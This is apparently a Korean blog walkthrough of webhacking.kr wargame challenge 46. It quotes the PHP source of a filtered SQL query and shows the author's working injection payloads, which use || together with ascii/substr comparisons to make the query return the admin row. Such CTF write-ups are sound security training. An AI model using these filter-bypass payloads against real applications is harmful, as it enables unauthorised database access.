[webhacking.kr] 46번 문제 풀이[SQL Injection]
💡 Webhacking.kr challenge(old) 46번 문제에 대한 풀이입니다.
문제
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
문제 풀이
45번 문제와 다르게 이번엔 addslashes를 단독으로 사용하고 있어서 '
사용이 어렵습니다.
우선 인젝션 해야 하는 쿼리부터 보면 다음과 같습니다.
select id,cash from chall46 where lv={}
조건문에 들어가는 부분이 문자열이 아니기 때문에 굳이 '
를 사용할 필요가 없습니다.
이번 문제는 필터링 된문자도 거의 없고, 제약사항이 거의 없어서 방법이 너무 많은데, 제가 푼 쿼리문은 다음과 같습니다.
111||ascii(substr(id,1,1))=97
맨 첫글자만 비교를 하는 쿼리문인데 첫글자 비교만 하니까 다음과 같은 데이터도 첫글자가 ‘a’이기 때문에 풀리지 않았습니다.
그래서 두번째 글자가지 &&를 넣어서 비교를 해주니까 풀렸습니다.
111||ascii(substr(id,1,1))=97&&ascii(substr(id,2,1))=100
댓글남기기